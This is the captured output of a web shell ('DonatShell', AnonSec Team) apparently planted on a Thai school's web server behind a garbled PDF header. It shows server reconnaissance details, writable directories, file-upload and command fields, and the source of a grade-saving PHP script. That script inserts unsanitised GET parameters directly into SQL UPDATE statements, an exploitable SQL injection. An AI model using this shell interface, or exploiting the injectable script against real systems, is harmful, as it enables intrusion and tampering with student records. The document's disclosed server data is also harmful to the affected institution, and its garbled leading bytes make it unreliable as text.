%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/mis/teacher/subject_score_v2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/mis/teacher/subject_score_v2/SaveMark.php
<?PHP 
	header ("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past
    header ("Last-Modified: " . date("D, d M Y H:i:s") . " GMT");
    header ("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
    header ("Pragma: no-cache");
	include("conf.php");
    //echo $_GET["i"];
    //echo $_GET['PLevel'];
    $PSubjectCode = iconv('utf-8','tis-620',$_GET["PSubjectCode"]);
    if(rtrim($_SESSION["Term"])=="2" && $_GET['PLevel']=="1")
    $sql="update TSubject set PTot2FOR1='".$_GET["PTotFOR1"]."' , PTot2SUM='".$_GET["PTotSUM"]."' , PTot2FOR2='".$_GET["PTotFOR2"]."' , PTot2FIN='".$_GET["PTotFIN"]."' where PSubjectCode='".$PSubjectCode."'";
    else if(rtrim($_SESSION["Term"])=="1" || rtrim($_SESSION["Term"])=="2") {
        $sql="update TSubject set PTotFOR1='".$_GET["PTotFOR1"]."' , PTotSUM='".$_GET["PTotSUM"]."' , PTotFOR2='".$_GET["PTotFOR2"]."' , PTotFIN='".$_GET["PTotFIN"]."' where PSubjectCode='".$PSubjectCode."'";
    } else {
        echo "No.!!!";
    }
	//echo $sql;
	$stmt = sqlsrv_query( $conn, $sql );
	if( $stmt == false) {
		die( print_r( sqlsrv_errors(), true) );
	}
	sqlsrv_fetch_array( $stmt, SQLSRV_FETCH_ASSOC);
	echo "บันทึกเสร็จสมบูรณ์...";
?>

Anon7 - 2022
AnonSec Team